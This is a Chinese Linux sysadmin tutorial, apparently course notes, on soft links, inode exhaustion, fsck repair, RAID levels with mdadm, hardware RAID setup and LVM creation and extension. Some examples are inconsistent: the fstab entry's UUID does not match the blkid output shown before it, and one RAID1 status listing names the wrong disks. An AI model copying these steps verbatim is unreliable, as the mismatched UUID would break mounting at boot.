13.3.3 ln -s 创建软连接

软链接:相当于windows中的快捷方式

语法:ln -s 源文件 软链接的名字

例:

[root@localhost ~]# cp /etc/passwd a.txt
[root@localhost ~]# ln -s a.txt a-link.txt
[root@localhost ~]# ll a-link.txt 
lrwxrwxrwx 1 root root 5 5月  16 16:10 a-link.txt -> a.txt
[root@localhost ~]# rm -rf a.txt 
[root@localhost ~]# ll a-link.txt 
lrwxrwxrwx 1 root root 5 5月  16 16:10 a-link.txt -> a.txt

注:源文件被删除,链接文件失效

例2:能针对目录和跨分区创建软链接

[root@localhost ~]# ln -s /boot/grub grub-link

能跨分区创建(源文件必须写绝对路径)

[root@localhost ~]# cd /boot/ 
[root@localhost boot]# ln -s ./grub /root/aaa
[root@localhost boot]# ll /root/aaa 
lrwxrwxrwx 1 root root 6 5月  16 16:21 /root/aaa -> ./grub  #报错了

13.3.4 inode的特殊作用

由于inode号码与文件名分离,这种机制导致了一些Unix/Linux系统特有的现象。

  1. 有时,文件名包含特殊字符,无法正常删除。这时,直接删除inode节点,就能起到删除文件的作用。

  2. 移动文件或重命名文件,只是改变文件名,不影响inode号码。

  3. 打开一个文件以后,系统就以inode号码来识别这个文件,不再考虑文件名。因此,通常来说,系统无法从inode号码得知文件名。

互动:为什么每次修改完服务器配置文件后,都需要重新加载一下配置文件?

因为vim每次修改完后,Inode号都会变。

[root@localhost ~]# cp /etc/passwd passwd 
[root@localhost ~]# ls -i passwd 
393418 passwd
[root@localhost ~]# vim passwd     #添加一些内容
[root@localhost ~]# ll -i passwd 
440252 -rw-r--r-- 1 root root 1813 Dec 29 12:04 passwd
就是为什么每次修改完服务器的配置文件,都要重启服务,重新读一下配置文件。

13.4 实战:解决磁盘有空间但创建不了文件-修复服务器文件系统

13.4.1 解决磁盘有空间但创建不了文件

实战场景:在一台配置较低的Linux服务器(内存、硬盘比较小)的/data分区内创建文件时,系统提示磁盘空间不足,用df -h命令查看了一下磁盘使用情况,发现/data分区只使用了80%,还有1.9G的剩余空间,但是无法创建新的文件。当时使用的是root用户。服务器没有被黑。

[root@localhost ~]# df -h
文件系统          容量    已用  可用   已用%  挂载点
/dev/sda3        10G   8.0G  1.9G   80%    /

常识: 只要权限够,磁盘上有空间一定可以创建文件。 这个是错的。

排查:

[root@localhost ~]# df -i  
文件系统         Inode     已用(I)     可用(I)         已用(I)%   挂载点
/dev/sda3      5242880   5242880    0              100%        /

#后来用df -i查看了一下/data所在的分区的索引节点(inode),发现已经用满(IUsed=100%),导致系统无法创建新目录和文件。

查找原因:

  /data/cache目录中存在数量非常多的小字节缓存文件,占用的Block不多,但是占用了大量的inode。

解决方案1:删除/data/cache目录中的部分文件,释放出/data分区的一部分inode。

解决方案2 : 在/data备份好一些文件,然后删除这些文件,释放一些inode,然后创建一个文件夹/data/cache2。在cache2下挂载一个新分区: sda4 ,下次写数据需要写到新分区cache2目录下。

inode分区完后,可以增加吗? 不可以。 inode总数是在格式化时定下来。

[root@localhost ~]# mkfs.ext4 -I   500000000000  /dev/sda1  #可以指定大小

参数:

[-i bytes-per-inode] [-I inode-size]

13.4.2 实战:修复服务器文件系统

实战场景:公司服务器突然断电后,再次启动后,报如下错误。

 解决方法:

输入root 密码

fsck -f -y /dev/sda1 #把引导分区文件系统修复一下 # 慎用,给领导说一声

fsck -f -y /dev/sda3 #把根分区文件系统修复一下 # 慎用,给领导说一声

reboot 重启

fsck参数:

-y 对所有问题都回答 "yes"

-f 即使文件系统标记为 clean 也强制进行检查

------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ 

第十四章 RAID磁盘阵列的原理与搭建

14.1 RAID概念

磁盘阵列(Redundant Arrays of Independent Disks,RAID),有“独立磁盘构成的具有冗余能力的阵列”之意。 磁盘阵列是由很多价格较便宜的磁盘,以硬件(RAID卡)或软件(MDADM)形式组合成一个容量巨大的磁盘组,利用多个磁盘组合在一起,提升整个磁盘系统效能。利用这项技术,将数据切割成许多区段,分别存放在各个硬盘上。 磁盘阵列还能利用同位检查(Parity Check)的观念,在数组中任意一个硬盘故障时,仍可读出数据,在数据重构时,将数据经计算后重新置入新硬盘中

注:RAID可以预防数据丢失,但是它并不能完全保证你的数据不会丢失,所以大家使用RAID的同时还是注意备份重要的数据

RAID的创建有两种方式:软RAID(通过操作系统软件来实现)和硬RAID(使用硬件阵列卡);在企业中用的最多的是:raid1、raid5和raid10。不过随着云的高速发展,供应商一般可以把硬件问题解决掉。

14.1.1 RAID几种常见的类型

RAID类型

最低磁盘个数

空间利用率

各自的优缺点

级 别

说 明

RAID0

条带卷

2+

100%

读写速度快,不容错

RAID1

镜像卷

2

50%

读写速度一般,容错

RAID5

带奇偶校验的条带卷

3+

(n-1)/n

读写速度快,容错,允许坏一块盘

RAID6

带奇偶校验的条带集,双校验

4+

(n-2)/n

读写快,容错,允许坏两块盘

RAID10

RAID1的安全+RAID0的高速

4

50%

读写速度快,容错

RAID50

RAID5的安全+RAID0的高速

6

(n-2)/n

读写速度快,容错

RAID基本思想:把好几块硬盘通过一定组合方式把它组合起来,成为一个新的硬盘阵列组,从而使它能够达到高性能硬盘的要求

RAID有三个关键技术:

镜像:提供了数据的安全性;

chunk条带(块大小也可以说是条带的粒度),它的存在的就是为了提高I/O,提供了数据并发性

数据的校验:提供了数据的安全

Raid相对于单个磁盘优点:

14.1.2 RAID-0的工作原理

条带 (strping),也是我们最早出现的RAID模式

需磁盘数量:2块以上(大小最好相同),是组建磁盘阵列中最简单的一种形式,只需要2块以上的硬盘即可.

特点:成本低,可以提高整个磁盘的性能和吞吐量。RAID 0没有提供冗余或错误修复能力,速度快.

任何一个磁盘的损坏将损坏全部数据;磁盘利用率为100%。

14.1.3 RAID-1

mirroring(镜像卷),需要磁盘两块以上

原理:是把一个磁盘的数据镜像到另一个磁盘上,也就是说数据在写入一块磁盘的同时,会在另一块闲置的磁盘上生成镜像文件,(同步)

RAID 1 mirroring(镜像卷),至少需要两块硬盘,raid大小等于两个raid分区中最小的容量(最好将分区大小分为一样),数据有冗余,在存储时同时写入两块硬盘,实现了数据备份;

磁盘利用率为50%,即2块100G的磁盘构成RAID1只能提供100G的可用空间。如下图

14.1.4 RAID-5

需要三块或以上硬盘,可以提供热备盘实现故障的恢复;只损坏一块,没有问题。但如果同时损坏两块磁盘,则数据将都会损坏。 空间利用率: (n-1)/n 2/3 如下图所示

奇偶校验信息的作用:

当RAID5的一个磁盘数据发生损坏后,利用剩下的数据和相应的奇偶校验信息去恢复被损坏的数据。

扩展:异或运算

是用相对简单的异或逻辑运算(相同为0,相异为1)

A值

B值

Xor结果

0

0

0

1

0

1

0

1

1

1

1

0

14.1.5 嵌套RAID级别

RAID-10镜像+条带

RAID 10是将镜像和条带进行两级组合的RAID级别,第一级是RAID1镜像对,第二级为RAID 0。比如我们有8块盘,它是先两两做镜像,形成了新的4块盘,然后对这4块盘做RAID0;当RAID10有一个硬盘受损其余硬盘会继续工作,这个时候受影响的硬盘只有2块

几个方案对比下来, RAID5是最适合的,如下图:

14.1.6 RAID硬盘失效处理

一般两种处理方法:热备和热插拔

热备:HotSpare

定义:当冗余的RAID组中某个硬盘失效时,在不干扰当前RAID系统的正常使用的情况下,用RAID系统中另外一个正常的备用硬盘自动顶替失效硬盘,及时保证RAID系统的冗余性

全局式:备用硬盘为系统中所有的冗余RAID组共享

专用式:备用硬盘为系统中某一组冗余RAID组专用

如下图所示:是一个全局热备的示例,该热备盘由系统中两个RAID组共享,可自动顶替任何一个RAID中的一个失效硬盘

热插拔:HotSwap

定义:在不影响系统正常运转的情况下,用正常的物理硬盘替换RAID系统中失效硬盘。

14.2 RAID-0-1-5-10搭建及使用-删除RAID及注意事项

14.2.1 RAID的实现方式

互动:我们做硬件RAID,是在装系统前还是之后?

答:先做阵列才装系统 ,一般服务器启动时,有显示进入配置Riad的提示,比如:按下CTRL+L/H/M进入配置raid界面

硬RAID:需要RAID卡,我们的磁盘是接在RAID卡的,由它统一管理和控制。数据也由它来进行分配和维护;它有自己的cpu,处理速度快

操作视频链接:http://pan.baidu.com/s/1jIJqJp8 密码:mfcb 视频没有声音

软RAID:通过操作系统实现

Linux内核中有一个md(multiple devices)模块在底层管理RAID设备,它会在应用层给我们提供一个应用程序的工具mdadm ,mdadm是linux下用于创建和管理软件RAID的命令。

mdadm命令常见参数解释:

-C或--creat

建立一个新阵列

-r

移除设备

-A

激活磁盘阵列

-l 或--level=

设定磁盘阵列的级别

-D或--detail

打印阵列设备的详细信息

-n或--raid-devices=

指定阵列成员(分区/磁盘)的数量

-s或--scan

扫描配置文件或/proc/mdstat得到阵列缺失信息

-x或--spare-devicds=

指定阵列中备用盘的数量

-f

将设备状态定为故障

-c或--chunk=

设定阵列的块chunk块大小 ,单位为KB

-a或--add

添加设备到阵列

-G或--grow

改变阵列大小或形态

-v

--verbose 显示详细信息

-S

停止阵列

互动: raid5需要3块硬盘。 那么使用4块硬盘,可以做raid5吗?

可以的

实验环境:新添加11块硬盘,每块磁盘的作用如下:

互动:磁盘达到sdz以后,名字应该如何排?

sdaa 、 sdab 。。。

实验环境:

raid种类

磁盘

热备盘

raid0

sdb、sdc

raid1

sdd、sde、

sdf

raid5

sdg、sdh、sdi

sdj

raid10

分区:sdk1,sdk2,sdk3.sdk4

注:工作中正常做raid全部是使用独立的磁盘来做的。为了节约资源,raid10以一块磁盘上多个分区来代替多个独立的磁盘做raid,但是这样做出来的raid没有备份数据的作用,因为一块磁盘坏了,这个磁盘上所做的raid也就都坏了。

14.2.2 创建RAID0

实验环境:

raid种类

磁盘

热备盘

raid0

sdb、sdc

1、创建raid0

[root@localhost ~]# mdadm  -C -v /dev/md0 -l 0 -n 2 /dev/sdb /dev/sdc
mdadm: chunk size defaults to 512K
mdadm: Defaulting to version 1.2 metadata
mdadm: array /dev/md0 started.
[root@localhost ~]#  mdadm -Ds

2、 查看阵列信息

[root@localhost ~]#   mdadm -Ds
ARRAY /dev/md0 metadata=1.2 name=localhost.cn:0 UUID=cadf4f55:226ef97d:565eaba5:3a3c7da4 
[root@localhost ~]# mdadm -D /dev/md0
/dev/md0:
           Version : 1.2
     Creation Time : Thu May 17 15:59:16 2018
        Raid Level : raid0
        Array Size : 41910272 (39.97 GiB 42.92 GB)
      Raid Devices : 2
     Total Devices : 2
       Persistence : Superblock is persistent

       Update Time : Thu May 17 15:59:16 2018
             State : clean 
    Active Devices : 2
   Working Devices : 2
    Failed Devices : 0
     Spare Devices : 0

        Chunk Size : 512K   #chunk是raid中最小的存储单位

Consistency Policy : none

              Name : localhost.cn:0  (local to host localhost.cn)
              UUID : cadf4f55:226ef97d:565eaba5:3a3c7da4
            Events : 0

    Number   Major   Minor   RaidDevice State
       0       8       16        0      active sync   /dev/sdb
       1       8       32        1      active sync   /dev/sdc
[root@localhost ~]# mdadm -Ds > /etc/mdadm.conf   #生成配置文件

3、 对创建的RAID0进行文件系统创建并挂载

[root@localhost ~]# mkfs.xfs /dev/md0
[root@localhost ~]# mkdir /raid0
[root@localhost ~]# mount /dev/md0 /raid0/
[root@localhost ~]#  df -Th /raid0/
文件系统       类型  容量  已用  可用 已用% 挂载点
/dev/md0       xfs    40G   33M   40G    1% /raid0 
[root@localhost ~]# echo 324 > /raid0/a.txt

4、 开机自动挂载

[root@localhost ~]#  blkid /dev/md0
/dev/md0: UUID="3bf9c260-dc7b-4e37-a865-a8caa21ddf2c" TYPE="xfs" 
[root@localhost ~]# echo "UUID=5bba0862-c4a2-44ad-a78f-367f387ad001 /raid0 xfs defaults 0 0" >> /etc/fstab

14.2.3 创建RAID1

实验内容如下:

raid种类

磁盘

热备盘

raid1

sdd、sde、

sdf

1)创建RAID1

2)添加1个热备盘

3)模拟磁盘故障,自动顶替故障盘

4)从raid1中移出故障盘

[root@localhost ~]#  mdadm -C -v /dev/md1 -l 1 -n 2 -x 1 /dev/sd[d,e,f]

将RADI信息保存到配置文件

[root@localhost ~]# mdadm  -Dsv > /etc/mdadm.conf

查看 RAID 阵列信息:

[root@localhost ~]# mdadm  -D /dev/md1
        Raid Level : raid1
        Array Size : 20955136 (19.98 GiB 21.46 GB)
   。。。
    Number   Major   Minor   RaidDevice State
       0       8       48        0      active sync   /dev/sdd
       1       8       64        1      active sync   /dev/sde
       2       8       80        -      spare   /dev/sdf

在RAID设备上创建文件系统

[root@localhost ~]# mkfs.xfs /dev/md1
[root@localhost ~]# mkdir /raid1
[root@localhost ~]# mount /dev/md1  /raid1/

准备测试文件

[root@localhost ~]# cp /etc/passwd /raid1/

模拟损坏

下面模拟RAID1中数据盘/dev/sde出现故障,观察/dev/sdf备用盘能否自动顶替故障盘

[root@localhost ~]# mdadm  /dev/md1 -f  /dev/sde

查看一下阵列状态信息

[root@localhost ~]# mdadm  -D /dev/md1
...
    Number   Major   Minor   RaidDevice State
       0       8       96        0      active sync   /dev/sdg
       2       8      128        1      spare rebuilding   /dev/sdi #热备盘已经在同步数据
       1       8      112        -      faulty   /dev/sdh  

更新配置文件

[root@localhost ~]# mdadm  -Dsv > /etc/mdadm.conf 

查看数据是否丢失

[root@localhost ~]# ls /raid1/ #数据正常,没有丢失

重要的数据如:数据库 ; 系统盘 (把系统安装到raid1的md1设备上,可以对md1做分区)

移除损坏的设备:

[root@localhost ~]# mdadm  -r /dev/md1 /dev/sde
mdadm: hot removed /dev/sde  from /dev/md1

查看信息:

[root@localhost ~]# mdadm  -D /dev/md1
    Number   Major   Minor   RaidDevice State
       0       8       96        0      active sync   /dev/sdd
       2       8      128        1      active sync   /dev/sdf   #已经没有热备盘了

添加一块新热备盘

[root@localhost ~]# mdadm  -a /dev/md1  /dev/sde
mdadm: added /dev/sde

14.2.4 创建RAID5

实验环境:

raid种类

磁盘

热备盘

raid5

sdg、sdh、sdi

sdj

1)创建RAID5, 添加1个热备盘,指定chunk大小为32K

-x或--spare-devicds= 指定阵列中备用盘的数量

-c或--chunk= 设定阵列的块chunk块大小 ,单位为KB

2)停止阵列,重新激活阵列

3)使用热备盘,扩展阵列容量,从3个磁盘扩展到4个

14.2.4.1 创建RAID-5

[root@localhost ~]#  mdadm -C -v /dev/md5 -l 5 -n 3 -x 1 -c32 /dev/sd{g,h,i,j} 
[root@localhost ~]# mdadm -D /dev/md5
/dev/md5:
           Version : 1.2
     Creation Time : Thu May 17 18:54:20 2018
        Raid Level : raid5
        Array Size : 41910272 (39.97 GiB 42.92 GB)
     Used Dev Size : 20955136 (19.98 GiB 21.46 GB)
      Raid Devices : 3
     Total Devices : 4
       Persistence : Superblock is persistent

       Update Time : Thu May 17 18:54:31 2018
             State : clean, degraded, recovering 
    Active Devices : 2
   Working Devices : 4
    Failed Devices : 0
     Spare Devices : 2

            Layout : left-symmetric
        Chunk Size : 32K

Consistency Policy : resync

    Rebuild Status : 7% complete

              Name : localhost.cn:5  (local to host localhost.cn)
              UUID : fa685cea:38778d6a:0eb2c670:07ec5797
            Events : 2

    Number   Major   Minor   RaidDevice State
       0       8       96        0      active sync   /dev/sdg
       1       8      112        1      active sync   /dev/sdh
       4       8      128        2      spare rebuilding   /dev/sdi

       3       8      144        -      spare   /dev/sdj   #热备盘

14.2.4.2 停止MD5阵列

[root@localhost ~]# mdadm -Dsv > /etc/mdadm.conf   #停止前,一定要先保存配置文件
[root@localhost ~]# mdadm  -D /dev/md5  ##停止前,请确认数据已经同步完
Consistency Policy : resync   #数据已经同步完
[root@localhost ~]# mdadm  -S /dev/md5  
mdadm: stopped /dev/md5

14.2.4.3 激活MD5阵列

[root@localhost ~]# mdadm  -As
mdadm: /dev/md5 has been started with 3 drives and 1 spare.

14.2.4.4 扩展RAID5磁盘阵列

将热备盘增加到md5中,使用md5中可以使用的磁盘数量为4块

[root@localhost /]# mdadm -G /dev/md5 -n 4 -c 32

#-G或--grow 改变阵列大小或形态

[root@localhost ~]# mdadm -Dsv > /etc/mdadm.conf   #保存配置文件

备注:阵列只有在正常状态下,才能扩容,降级及重构时不允许扩容。对于raid5来说,只能增加成员盘,不能减少。而对于raid1来说,可以增加成员盘,也可以减少。

[root@localhost ~]# mdadm -D /dev/md5  #查看状态
。。。
        Array Size : 41910272 (39.97 GiB 42.92 GB)   #发现新增加硬盘后空间没有变大,为什么?
     Used Dev Size : 20955136 (19.98 GiB 21.46 GB)
。。。
    Reshape Status : 3% complete   #重塑状态:3%完成 ,等到100%, 数据才同步完,同步完后会变成成:Consistency Policy : resync   #一致性策略:再同步,表示已经同步完
。。。
  Number   Major   Minor   RaidDevice State
       0       8       96        0      active sync   /dev/sdg
       1       8      112        1      active sync   /dev/sdh
       4       8      128        2      active sync   /dev/sdi
       3       8      144        3      active sync   /dev/sdj
等一会,等所有数据同步完成后,查看md5空间大小:
        Array Size : 62865408 (59.95 GiB 64.37 GB)  #空间已经变大
     Used Dev Size : 20955136 (19.98 GiB 21.46 GB)

14.2.5 创建RAID10

实验环境:

raid种类

磁盘

热备盘

raid10

分区:sdk1,sdk2,sdk3.sdk4

[root@localhost ~]# fdisk  /dev/sdk  #分4个主分区,每个分区1G大小
[root@localhost ~]# mdadm -C -v /dev/md10 -l 10 -n 4 /dev/sdk[1-4]
[root@localhost ~]# cat /proc/mdstat

14.2.6删除RAID所有信息及注意事项

[root@localhost ~]# umount /dev/md0 /raid0   #如果你已经挂载raid,就先卸载。
[root@localhost ~]# mdadm  -Ss          	 #停止raid设备
[root@localhost ~]# rm -rf /etc/mdadm.conf     #删除raid配置文件
[root@localhost ~]#  mdadm  --zero-superblock /dev/sdb  #清除物理磁盘中的raid标识  
[root@localhost ~]#  mdadm  --zero-superblock /dev/sdc  #清除物理磁盘中的raid标识  
参数:--zero-superblock :  erase the MD superblock from a device.   #擦除设备中的MD超级块

14.3 实战:企业中硬件raid5的配置

联想(ThinkServer) RD650做Raid

联想(ThinkServer) RD650(640升级)2U机架式 服务器2.5‘’盘位 2*E5-2609V4/双电源 升级至32G内存3个300G硬盘

操作步骤:

开机后,进入raid配置界面有提示,按ctrl +h进入raid配置界面:

连接服务器以后,显示以下界面,单击start进入配置页面:

单机Configuration Wizard (配置向导)进行配置:

单机Clear Configuration(清除配置)清除旧的配置:

清除以后,显示如下图,再次单机Configuration Wizard进行配置,:

单机new Configuration 进行新的配置:

进入如下页面,单击Manual Configuration(配置手册):

选择左侧两块磁盘,做个raid1,单机 Add To Array(加入阵列):

此处我们把两块盘做raid1,单机Accept DG(接受磁盘组,DG为disk groups的缩写),:

然后单机next,会进入如下页面,单机Add to SPAN(缚住或扎牢的意思,理解为将两块盘捆绑到一起),单机next:

进入如下页面,可以选择raid(我们做的而是raid1),然后单机Update Size,accept,直接next就可以:

后面全部选next或者yes,当碰到下面这步骤时,可以忽略,直接点back:

会回到之前的Configuration Wizard配置向导页面, 后面选择add Configuration(添加配置),后面做raid5的10块盘操作步骤和之前相同。最后配置完成的结果如下:

互动:为什么先把两块磁盘做raid1,然后把后面的磁盘都做成raid5

raid1是镜像卷,安装系统用,一块坏了,不影响系统运行。 raid5存数据

如果服务器主板不支持硬raid , 可以用raid卡

扩展:常见raid卡:

戴尔(DELL) 服务器RAID阵列卡 H730P 大卡 2G缓存+后备电池保障数据读写不受断电影响

硬raid如果阵列卡坏了 怎么办?

如果更换的RAID卡,与原卡规格型号相同,则不会有什么问题。若两卡规格型号不同,需要重新安装新卡驱动程序。这时就会有不确定的可能性,如驱动程序差别不大时,RAID盘组合顺序正常,硬盘原数据可正确读写;若驱动程序结构差别较大,则可能发生读写错误。

因此,要尽量选购与原卡规格相同的产品,以确保数据安全。

 ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

第十五章 LVM管理和ssm存储管理器使用

LVM的基本概念

实战场景:对于生产环境下的服务器来说,如果存储数据的分区磁盘空间不够了怎么办?

答:只能换一个更大的磁盘。 如果用了一段时间后, 空间又不够了,怎么办?再加一块更大的?换磁盘的过程中,还需要把数据从一个硬盘复制到另一个硬盘,过程太慢了。

解决方案:使用LVM在线动态扩容

15.1 LVM的工作原理

LVM( Logical Volume Manager)逻辑卷管理,是在磁盘分区和文件系统之间添加的一个逻辑层,来为文件系统屏蔽下层磁盘分区布局,提供一个抽象的盘卷,在盘卷上建立文件系统。管理员利用LVM可以在磁盘不用重新分区的情况下动态调整文件系统的大小,并且利用LVM管理的文件系统可以跨越磁盘,当服务器添加了新的磁盘后,管理员不必将原有的文件移动到新的磁盘上,而是通过LVM可以直接扩展文件系统跨越磁盘

它就是通过将底层的物理硬盘封装起来,然后以逻辑卷的方式呈现给上层应用。在LVM中,其通过对底层的硬盘进行封装,当我们对底层的物理硬盘进行操作时,其不再是针对于分区进行操作,而是通过一个叫做逻辑卷的东西来对其进行底层的磁盘管理操作。

15.1.1 LVM常用的术语

物理存储介质(The physical media):LVM存储介质可以是磁盘分区,整个磁盘,RAID阵列或SAN磁盘,设备必须初始化为LVM物理卷,才能与LVM结合使用

物理卷PV(physical volume)  :物理卷就是LVM的基本存储逻辑块,但和基本的物理存储介质(如分区、磁盘等)比较,却包含有与LVM相关的管理参数,创建物理卷它可以用硬盘分区,也可以用硬盘本身;

卷组VG(Volume Group)  :一个LVM卷组由一个或多个物理卷组成  

逻辑卷LV(logical volume)  :LV建立在VG之上,可以在LV之上建立文件系统

PE(physical extents)  :PV物理卷中可以分配的最小存储单元,PE的大小是可以指定的,默认为4MB

LE(logical extent)  : LV逻辑卷中可以分配的最小存储单元,在同一个卷组中,LE的大小和PE是相同的,并且一一对应

最小存储单位总结:

名称 最小存储单位

硬盘 扇区(512字节)

文件系统 block(1K或4K )# mkfs.ext4 -b 2048 /dev/sdb1 ,最大支持到4096

raid chunk (512K) #mdadm -C -v /dev/md5 -l 5 -n 3 -c 512 -x 1 /dev/sde{1,2,3,5}

LVM PE (4M) # vgcreate -s 4M vg1 /dev/sdb{1,2}

LVM主要元素构成:

 总结:多个磁盘/分区/raid-》多个物理卷PV-》合成卷组VG-》从VG划出逻辑卷LV-》格式化LV挂载使用

15.1.2 LVM优点

使用卷组,使多个硬盘空间看起来像是一个大的硬盘

使用逻辑卷,可以跨多个硬盘空间的分区 sdb1 sdb2 sdc1 sdd2 sdf

在使用逻辑卷时,它可以在空间不足时动态调整它的大小

在调整逻辑卷大小时,不需要考虑逻辑卷在硬盘上的位置,不用担心没有可用的连续空间

可以在线对LV,VG 进行创建,删除,调整大小等操作。LVM上的文件系统也需要重新调整大小。

允许创建快照,可以用来保存文件系统的备份。

RAID+LVM一起用:LVM是软件的卷管理方式,而RAID是磁盘管理的方法。对于重要的数据,使用RAID来保护物理的磁盘不会因为故障而中断业务,再用LVM用来实现对卷的良性的管理,更好的利用磁盘资源。

15.2创建LVM的基本步骤

1) 物理磁盘被格式化为PV,(空间被划分为一个个的PE) #PV包含PE

2) 不同的PV加入到同一个VG中,(不同PV的PE全部进入到了VG的PE池内) #VG包含PV

3) 在VG中创建LV逻辑卷,基于PE创建,(组成LV的PE可能来自不同的物理磁盘) #LV基于PE创建

4) LV直接可以格式化后挂载使用 #格式化挂载使用

5) LV的扩充缩减实际上就是增加或减少组成该LV的PE数量,其过程不会丢失原始数据

15.2.1 lvm常用的命令

功能

PV管理命令

VG管理命令

LV管理命令

scan 扫描

pvscan

vgscan

lvscan

create 创建

pvcreate

vgcreate

lvcreate

display显示

pvdisplay

vgdisplay

lvdisplay

remove 移除

pvremove

vgremove

lvremove

extend 扩展

vgextend

lvextend

reduce减少

vgreduce

lvreduce

下面的操作会用的一些查看命令:

查看卷名

简单对应卷信息的查看

扫描相关的所有的对应卷

详细对应卷信息的查看

物理卷

pvs

pvscan

pvdisplay

卷组

vgs

vgscan

vgdisplay

逻辑卷

lvs

lvscan

lvdisplay

15.2.2 创建并使用LVM逻辑卷 1、 创建PV

添加一个sdb磁盘

[root@localhost ~]# fdisk /dev/sdb    #创建4个主分区,每个分区1G  
[root@localhost ~]# ls /dev/sdb*
/dev/sdb  /dev/sdb1  /dev/sdb2  /dev/sdb3  /dev/sdb4
设定分区类型代码:fdisk /dev/sdb ===> t ===> 选择分区号 ====> 8e ====> w 

注:现在系统已经很智能了, 直接使用默认的 83 Linux分区,也可以创建pv的。

[root@localhost ~]# pvcreate /dev/sdb{1,2,3,4}   #创建pv
  Physical volume "/dev/sdb1" successfully created.
  Physical volume "/dev/sdb2" successfully created.
  Physical volume "/dev/sdb3" successfully created.
  Physical volume "/dev/sdb4" successfully created.

[root@localhost ~]# pvdisplay /dev/sdb1    #查看物理卷信息
  "/dev/sdb1" is a new physical volume of "1.00 GiB"
  --- NEW Physical volume ---
  PV Name               /dev/sdb1
  VG Name               
  PV Size               1.00 GiB
  Allocatable           NO
  PE Size               0   
  Total PE              0
  Free PE               0
  Allocated PE          0
  PV UUID               SHKFwf-WsLr-kkox-wlee-dAXc-5eL0-hyhaTV 

创建vg卷组:

语法: vgcreate vg名字 pv的名字 可以跟多个pv

[root@localhost ~]#  vgcreate vg01 /dev/sdb1
  Volume group "vg01" successfully created 
[root@localhost ~]#  vgs
  VG   #PV #LV #SN Attr   VSize    VFree   
  vg01   1   0   0 wz--n- 1020.00m 1020.00m
[root@localhost ~]#  vgdisplay vg01
  --- Volume group ---
  VG Name               vg01
  System ID             
  Format                lvm2
  Metadata Areas        1
  Metadata Sequence No  1
  VG Access             read/write
  VG Status             resizable
  MAX LV                0
  Cur LV                0
  Open LV               0
  Max PV                0
  Cur PV                1
  Act PV                1
  VG Size               1020.00 MiB
  PE Size               4.00 MiB
  Total PE              255
  Alloc PE / Size       0 / 0   

创建LV

lvcreate -n 指定新逻辑卷的名称 -L指定lv大小的SIZE(M,G) (-l:小l 指定LE的数量) vgname

[root@localhost ~]#  lvcreate -n lv01 -L 16M vg01
  Logical volume "lv01" created.
[root@localhost ~]#  lvcreate -n lv02 -l 4 vg01
  Logical volume "lv02" created.
[root@localhost ~]# lvs
  LV   VG   Attr       LSize  Pool Origin Data%  Meta%  Move Log Cpy%Sync Convert
  lv01 vg01 -wi-a----- 16.00m                                                    
  lv02 vg01 -wi-a----- 16.00m      

[root@localhost ~]# pvdisplay /dev/sdb1
  --- Physical volume ---
  PV Name               /dev/sdb1
  VG Name               vg01
  PV Size               1.00 GiB / not usable 4.00 MiB
  Allocatable           yes 
  PE Size               4.00 MiB
  Total PE              255
  Free PE               247
  Allocated PE          8   # Allocated    ['æləkeɪtɪd]  分配  ,已经使用了8个PE
[root@localhost ~]# vgdisplay vg01
。。。
  Alloc PE / Size       8 / 32.00 MiB   #已经使用8个PE,32MB
  Free  PE / Size       247 / 988.00 MiB

2、 文件系统格式与挂载

[root@localhost ~]# mkdir /lv01
互动: lv01 逻辑卷的路径在哪? 
[root@localhost ~]# ls  /dev/vg01/   #查看逻辑卷
lv01  lv02
[root@localhost ~]# ll  /dev/vg01/lv01  #其实lv01是dm-0的软链接
lrwxrwxrwx 1 root root 7 5月  18 19:02 /dev/vg01/lv01 -> ../dm-0

[root@localhost ~]# mkfs.ext4 /dev/vg01/lv01
[root@localhost ~]# mount /dev/vg01/lv01  /lv01
[root@localhost ~]# df -Th /lv01
文件系统              类型  容量  已用  可用 已用% 挂载点
/dev/mapper/vg01-lv01 ext4   15M  268K   14M    2% /lv01 
[root@localhost ~]#echo  "/dev/vg01/lv01 /lv01 ext4 defaults 0 0"  >> /etc/fstab

15.2.3 指定PE大小用

指定PE大小用的参数: -s ,如果存储的数据都是大文件,那么PE尽量调大,读取速度快

[root@localhost ~]#  vgcreate -s 16M vg02 /dev/sdb2
  Volume group "vg02" successfully created
PE的大小只有为2的幂数,且最大为512M
[root@localhost ~]#  vgdisplay vg02
  --- Volume group ---
  VG Name               vg02
  System ID             
  Format                lvm2
  Metadata Areas        1
  Metadata Sequence No  1
  VG Access             read/write
  VG Status             resizable
  MAX LV                0
  Cur LV                0
  Open LV               0
  Max PV                0
  Cur PV                1
  Act PV                1
  VG Size               1008.00 MiB
  PE Size               16.00 MiB    #已经是16MB

15.2.4 LV扩容

首先,确定一下是否有可用的扩容空间,因为空间是从VG里面创建的,并且LV不能跨VG扩容

 [root@localhost ~]# vgs
  VG   #PV #LV #SN Attr   VSize    VFree   
  vg01   1   2   0 wz--n- 1020.00m  988.00m
  vg02   1   0   0 wz--n- 1008.00m 1008.00m

用的命令如下:

extend扩展

vgextend

lvextend

扩容逻辑卷

[root@localhost ~]# lvextend -L +30m /dev/vg01/lv01    
说明:在指定大小的时候,扩容30m和扩容到30m是不一样的写法
扩容30m ====> -L +30M
扩容到30m =====> -L 30M
[root@localhost ~]#  lvextend -L +30m /dev/vg01/lv01    
  Rounding size to boundary between physical extents: 32.00 MiB.
  Size of logical volume vg01/lv01 changed from 16.00 MiB (4 extents) to 48.00 MiB (12 extents).
  Logical volume vg01/lv01 successfully resized.

[root@localhost ~]# lvs
  LV   VG   Attr       LSize  Pool Origin Data%  Meta%  Move Log Cpy%Sync Convert
  lv01 vg01 -wi-ao---- 48.00m    #LV已经扩容成功                                                
  lv02 vg01 -wi-a----- 16.00m   

[root@localhost ~]#  df -Th /lv01
文件系统              类型  容量  已用  可用 已用% 挂载点
/dev/mapper/vg01-lv01 ext4   15M  268K   14M    2% /lv01

注:可以看到LV虽然扩展了,但是文件系统大小还是原来的,下面开始扩容文件系统

ext4文件系统扩容使用命令语法: resize2fs 逻辑卷名称

xfs文件系统扩容使用命令语法: xfs_growfs 挂载点

resize2fs和xfs_growfs 两者的区别是传递的参数不一样的,xfs_growfs是采用的挂载点;resize2fs是逻辑卷名称,而且resize2fs命令不能对xfs类型文件系统使用

[root@localhost ~]#  resize2fs /dev/vg01/lv01
resize2fs 1.42.9 (28-Dec-2013)
Filesystem at /dev/vg01/lv01 is mounted on /lv01; on-line resizing required
old_desc_blocks = 1, new_desc_blocks = 1
